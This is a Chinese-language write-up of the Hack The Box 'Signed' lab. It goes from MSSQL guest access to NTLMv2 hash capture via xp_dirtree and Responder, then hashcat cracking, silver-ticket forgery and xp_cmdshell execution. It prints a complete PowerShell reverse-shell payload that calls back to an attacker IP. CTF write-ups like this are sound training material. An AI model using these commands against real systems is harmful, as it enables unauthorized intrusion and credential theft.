HTB-Signed 靶机笔记
立足点:
靶机的描述:
-
As is common in real life Windows penetration tests,you will start the Signed box with credentials for the following account which can be used to access the MSSOL service: scont/Sm230#C5NatH
连接靶场VPN,并测试连通性
sudo openvpn --config htb-eu-udp.ovpn
ping -c 5 10.129.60.12 //-c 5 发送五个数据包
验证端口
既然都已经说了是mssql,那就直接先奔着mssql服务去,可以先验证相关端口,也就是说我们不做nmap扫描了,用nc做基础的验证是最红队的
你需要知道mssql口常用的或者默认的端口是什么,1433也就是说验证这个端口是否开放,但红队方式你还应该再加几个端口,比如1434(UDP)它是mssql默认实例专用管理员连接的端口
似乎这就够了,但是我们已经足够谨慎,相比nmap的扫描动辄top一百一千或者更多,我们才连接了两个端口,还可以有比如
-
4022:这是mssql服务数据库引擎扩展的Broker消息服务常用的默认端口
-
5022: 数据库镜像的端点,主备数据库之间同步事务日志
-
2382,2383:是分析服务的实例连接端口,当然分析服务也会暴露在web端,那就是80或者443
-
135,139:如果mssql有集成服务的话会有动态高位端口,所以也可以指定,它是rpc mapper做动态高位端口分配和映射的
-
总之面向mssql服务,1433是你一定能够想到的,如果1433走不下去,后续这些端口也都是和mssql相关的,并且即使增加了这么多相比,无脑的大范围端口扫描还是安静的多,何况前旁边还有-z,-n这些偏红队的参数
nc -z -n -w2 10.129.60.12 1433 1434 4022 5022 2382 2383 80 443 135 139
// -z 最原生的TCP连接试探
// -n 不做DNS的反向解析
// -w2 指定超时时间

验证mssql连通性
netexec mssql 10.129.60.12 -u scott -p 'Sm230#C5NatH'
提示登录失败,登录来自不信任的域,不能被用于集成认证

再尝试mssql本地认证,可以登录
netexec mssql 10.129.60.12 -u scott -p 'Sm230#C5NatH' --local-auth

注意!
nxc 有多个子命令,也就是不同的应用协议smb,ldap,rpc,winrm等多个子命令下都有local-auth,它的确是一个通用的参数选项,但是这里会容易误解,按它的字面表达像是操作系统级的认证但这里不是,
在mssql子命令下,--local-auth 是切换到MSSQL本地账户认证,而不是Windows本地SAM认证。它对应的是SQL Server内部自己的账号体系(如 sa),而非操作系统的SAM数据库。不加其他选项的话,默认是域认证

这个结果中显示机器名称是dc01,并且有域存在,拿着这个有效凭据登录mssql的时候,很可能会用到域名解析,那我们先增.加一条hosts记录
echo '10.129.60.12 dc01.signed.htb signed.htb dc01' | sudo tee -a /etc/hosts
连接mssql
impacket-mssqlclient signed.htb/scott:'Sm230#C5NatH'@dc01.signed.htb

结果显示,这里scott账号被映射成数据库中的guest,应该是权限有限的
提示help可以看帮助,因为已经映射成guest了,那进一步的侦查和枚举和systemadmin就是mssql的管理权限相关的动作就没有必要了,你要做也是噪音,比如像enable_xp_cmd_shell或者像这里sp_star_job甚至枚举模拟,枚举owner都是没有必要的,不可能允许guest做这种操作,至少优先级是排后,否则太冒险了,那怎么进一步确定具体的权限呢
用SQL Server原生系统内置的表值函数
fn_my_permissions函数接收两个参数,第一个是目标对象名称,这里指定NULL会查询对应层级下的全部权限,第二个参数,指定查询的限颗粒度,是服务器级的,还是数据库级的,以及是表单存储过程级的,那这里我们看SERVER
select * from fn_my_permissions(NULL,'SERVER')

看到服务器级权限有两项,CONNECT SQL:是基础的登录权限,就是能连接上这个实例,VIEW ANY DATABASE:是可以看到实例上所有数据库的名称,但这并不代表能进入数据库能读取数据,那就再看数据库层级的
select * from fn_my_permissions(NULL,'DATABASE')

查询结果没有利用价值
一些扩展的存储过程,显然值得关注,就像这里看到xp_dirtree是扩展的存储过程,列出目录树,贸然执行之前也可以先看一下的权限,同样还是刚才的查询命令,
select * from fn_my_permissions('xp_dirtree','OBJECT')

EXECUTE 可以执行的,这是超出标准guest的配置失误,很有价值的一个发现
这个xp_dirtree,它是列出指定路径下所有的子目录和文件信息,其实和它相似的利用价值要略逊于它的,还有两个也可以看一下,叫xp_file_exist 文件是否存在,看一下它的权限,其实dirtree有xq的权限,不看其他的也可以了,它也可以execute,还有一个叫xp_subdirs,很精简的浅层目录枚举的xp,它是没有权限的

当前我们使用的mssql客户端是impacket框架下它就是用于渗透测试和红队的,所以这里的帮助都是能干事的,因为我们自知被映射成了guest,更敏感的没有尝试,以查询的方式发现了dirtree就已经非常值得尝试了,是因为xp_cmdshell它是server中一类特殊的存储过程,它是数据库引擎对接操作系统的核心接口,它和普通用tsql编写能操作数据库内数据的常规存储过程不同,它是extended扩展的,它本质是用c或者是c++这种原生的偏底层的语言编写的动态链接库文件,会被加载到sql server的进程空间中运行,能够直接调用操作系统底层的API访问文件系统,执行系统命令,或者是发起网络链接,相当于在数据库边界上打开了通向系统层的通道。我这样描述,相信你能感受到他对我们红队的价值,那我们具你看一下xp_dirtree的能力
尝试查看c盘文件
xp_dirtree "c:\"

返回是空的,看起来scott被映射成guest之后能执行命令,但是没有读取文件的能力,至少是没有读取c盘文件的能力
这没什么奇怪的,这是非常典型的数据库对象权限和操作系统文件权限两层分离的结果,就是数据库系统给了这个权限,但是操作系统层面acl限制了读取权限,只能返回空的表头没有任何目录内容,但是依然可以尝试,因为我们是触发认证拿哈希而不一定必须读取本地文件,这种利用方式叫嗅探
sudo responder -I tun0 -v
// -I 指定网卡
// -v 显示详细信息

这里提示443和53端口被占用了,没关系,我们不用这两个端口,因为xp_dirtree它触发的认证是smb
查看kali ip

开始连接kali
随便指定一个smb unc路径,比如redpen,不需要实际有,只要他尝试认证,就会把这个认证带出来,那我们在这儿等着他呢
xp_dirtree \\10.10.14.23\repen

Windows里, \\IP\文件夹 这种格式叫UNC通用命名路径,只要写这种格式,Windows系统就会走SMB协议去访问远端机器的网络共享,不是HTTP
哪怕这个共享文件夹根本不存在,Windows第一步依然会先建立SMB连接,发起身份认证;认证失败之后才会返回找不到共享。认证这一步,远端SMB服务(Responder)要求客户端证明身份,客户端(目标机器的SQL服务账号)会把自己的NTLMv2哈希发给Responder做认证。Responder监听SMB端口,直接把这个哈希抓下来。
双引号带来的差别和sql server的配置相关,有引号标识符的开关选项,双引号一般用于包裹标识符,这里单引号应该也是可以的

拿到哈希

这里捕捉到的是NTLMv2格式的哈希,这是可以尝试破解的。看到用户名是一个服务账号svc,至少看命名是这样的,可以尝试破解,但如果服务账号用的强密码或者统一维护的,就很难,反正可以尝试一下
hashcat破解,不熟悉模式的话可以筛选
hashcat -hh | grep -i ntlmv2

这里有隐性的经验,HTB的靶场它在建立之初就建议靶机设计者配置密码的时候优先选用rockyou,并且如果打算让破解出来它会控制爆破的时长的但打线网的时候这个经验是无效的,你需要自己找字典构建字典,优化爆破过程,但能不能破解出来这件事儿都不好说,现在也不好说,因为是服务账号,只是尝试而已,简单的爆破选项就这样,如果爆破失败那我们再增加规则尝试变体
hashcat -m 5600 'mSSqLSVC::SIGNED:ddf861de11fcd2ef: DB0246A6350FBFE991F1A889866589FC:010100000000000000E59F462C47DD0155306774845164665F564655000000F00FG0000GE0RGH00000T0HE0R0H0000000000000000000000580000502000400005' /usr/share/wordlists/rockyou.txt

验证破解的密钥
netexec mssql dc01.signed.htb -u mssqlsvc -p 'purPLE9795!@'
// 是域的账号,添加 --local-auth会报错

也可以验证是不是域账号,做rid枚举
netexec mssql dc01.signed.htb -u mssqlsvc -p 'purPLE9795!@' --rid-brute


刚刚用nc测试的时候忘了测445了,现在测下
nc -z -n -w2 10.129.60.12 445 3389 5985 5986 33 1433

这些端口都没开放,1433和前边一样是成功的,那就意味着命令没错,这些端口都没开放,那这样mssqlsvc就是刚刚我们爆破出来的这个服务账号,依然只能用于数据库应用的登录
尝试登录
impacket-mssqlclient signed.htb/mssqlsvc:'purPLE9795!@'@dco1.signed.htb --windows-auth

是连接上了,但是这回的映射依然是guest,是mssql认证的凭据没错,但是在数据库看来,它依然是guest,没有什么改变,
查看help帮助,操作cmd_shell的扩展存储过程,没有必要看了,因为还是guest,我们已经是mssql的服务账号,却依然是guest,看一下它这里的枚举login登录mssql数据库实例的整体的认证情况

这些nt service都是本地或者数据库自身的,SIGNED\IT 这个组它是有sysadmin的,但是现在与我们没有关系,scott没错,只能做service login,并没有特别的权限,SIGNED\Domain Users域用户,也没有特别的权限,那这条路我们是走不通的,
但是mssqlsvc这个服务账号,我们有它的明文密码,可以尝试伪造服务票据的,有服务账号的密码,就能获得哈希,那有哈希就能加密票据,这其实是红队域攻击的典型场景,就是白银票据利用,如果对这种类型的攻击不熟悉的话,要去研究一下
Kerberos协议里有两种票据:
-
1. TGT(票据授予票据,黄金票据伪造这个):去KDC申请TGS的入场券,域全局生效
-
2. TGS(服务票据,白银票据伪造这个):专门用来访问某一台机器上某一个单独服务的票据
白银票据是对kerberos服务票据的离线伪造攻击,它的根源在于服务端收到票据后只用自己的账号哈希解密验证,不回连KDC验证真伪,这就留下了一个致命的缺口,只要拿到一个服务账号的密钥,我们是拿到了他的明文密码,就能在本地伪造出这个服务认可的票据直接通过认证,这个过程是不经过域控的,所以KDC上不留任何请求认证日志,
而实施白银票据攻击有这么几个前提,
-
首先是服务账号的密钥,无论是通过凭据转储或者是密码破解,不管哪种方式只要你能获得就行,但是需要把密码设成哈希,因为构造票据的时候,它直接用的是哈希,
-
域名
-
域的SID,spn
-
当然网络要可达,目标需要启用kerberos认证,
这是当然的,如果目标都没有启用kerberos认证,那我们谈何票据的伪造,对不对?伪造出来也没地方用,这些条件都是具备的,或者说简单转换就能拿到,好那我们转换一下,
先获取密码哈希,python中就有能够转换拿到密码对应的服务账号哈希的方法
python3 -c 'from impacket.ntlm import compute_nthash; print(compute_nthash("purPLE9795!@").hex())'

拿域的SID,域成员域主体都会带SID,那SID是一段一段的,其中就包括域的SID,
我们再次登入数据库的客户端,用数据库内置的系统函数SUSER_SID(),第一个s说的是server 代表是服务器级的用户和SID的转换,参数具体指定想要查询的域主体
impacket-mssqlclient signed.htb/mssqlsvc:'purPLE9795!@'@dco1.signed.htb --windows-auth
select SUSER_SID('SIGNED\Domain Users');

结果是Domain Users这个组的SID,但是它是二进制值,要转换成我们熟悉的那种分段的SID,还需要做转换,也是python中的方法
python3
from impacket.dcerpc.v5.dtypes import SID
SID(bytes.fromhex('0105000000000005150000005b7bb0f398aa2245ad4alca401020000')).formatCanonical()

但是我们的目标是IT,因为他有sysadmin的权限

前面的'S-1-5-21-4088429403-1159899800-2753317549'就是域的SID,后面的'1105'是IT组的组ID
这样白银票据伪造的域ID,甚至高价值IT组ID都已经查到了,spn是有标准格式的,那白银票据的素材就够了
开始构造
伪造谁呢?服务账号本身的票据肯定可以,但是我们并不需要,我们需要的是更强大的票据,比如administrator,甚至更进一步,我们直接用groups ,高价值的那个组,1105就是IT这个组,因为它可以赋予伪造票据sysadmin的权限,这是基于我们当前的侦查,能够给到伪造票据的最大权限,可以了我们尝试一下
impacket-ticketer -nthash ef699384c3285c54128a3ee1ddb1a0cc -domain-sid S-1-5-21-4088429403-1159899800-2753317549 -domain signed.htb -spn MSSQLSvc/dc01.signed.htb:1433 -group 1105 administrator

已经生成了这个票据,这没有什么意外的,因为白银票据的机制就是这样,但是具体能不能用,获得的是什么权限,那要进一步看
export KRB5CCNAME=administrator.ccache
再次连接mssql
impacket-mssqlclient dc01.signed.htb -k -no-pass

看到这里dbo数据库的owner已经是最高权限了,help这回这些高权限的命令似乎可以尝试操作,综上的过程很考验对sql server安全模型的认知,比如数据库对象的组织形式是按照实例,数据库,scheme,对象啊这种层级进行组织的,要区分开服务器级的login和数据库级的user同一个登录在每个数据库里会映射成不同的user,前面两个凭据都被映射成guest实际上是没有映射,兜底儿成guest,只有你理解数据库的这些机制才会有思路渐进枚举和尝试
那当前的dbo权限,也足以让我们有信心激活xp_cmdshell了
enable_xp_cmdshell
xp_cmdshell whoami
执行成功了

尝试获取系统级的立足点吧,我们需要powershell的反弹shell脚本,不复杂,可以自己写,也可以找网上的代码
$client = New-Object System.Net.Sockets.TCPClient("10.10.10.10",80);$stream =$client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream. Read($bytes,0,$bytes.Length)) -ne 0){;$data =(New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback =(iex ".{ $data } 2>&1"| Out-String ); $sendback2 = $sendback + "PS"+(pwd).Path +"> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream. Flush()};$client.Close()
因为sql server的上下文在执行这样有引号,括号和多条语句组合到一起的power shell脚本的时候,容易陷入引号陷阱,所以要做一下base 64的编码,如果你的经验没有让你想到这些,你在尝试的过程中多半也会踩这个,所以从红队角度,你需要积累这个经验,在这种复杂的括号有单引号,双引号的情况下,很容易解析报错,调试一段时间之后也会要base64编码的,那我直接就进行编码
echo -n '$client = New-Object System.Net.Sockets.TCPClient("10.10.10.10",80);$stream =$client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream. Read($bytes,0,$bytes.Length)) -ne 0){;$data =(New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback =(iex ".{ $data } 2>&1"| Out-String ); $sendback2 = $sendback + "PS"+(pwd).Path +"> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream. Flush()};$client.Close()' | iconv -f utf8 -t utf-16le | base64 -w 0

准备接收powershell的反弹
sudo rlwrap -cAr nc -lnvp 80

拿目标机器做实验环境应该做更谨慎的考量,这个payload的转化成base64之后有一个长度的限制,这是sql server执行上下文的约束,我们声明变量按照powershell习惯的写法,整个powershell payload的执行变成了@cmd这个变量这样,会稳妥很多,然后执行吧,因为有declare要写完整的执行命令exec,这是sql server的master库scheme和对象层级要写完整,用两个点代替,xp_cmdshell执行payload,这样就能规避开长度限制,引号陷阱等等一些问题
DECLARE @cmd NVARCHAR(4000); SET @cmd = 'powershell.exe -e JABjAGwAaMQAwAC4AMQAwAC4AMQA0AC4AMgAzACIALAA4ADAAKQA7ACQAcwB0AHIAZQBhAG0AIAA9ACAA1AMAB9ADsAdwBoAGkAbABlACgAKAAkAGkAIAA9ACAAJABzAHQAcgBlAGEAbQAuAFIAZQBhAGQA'; EXEC master..xp_cmdshell @cmd;

成功GetShell

获取flag


浙公网安备 33010602011771号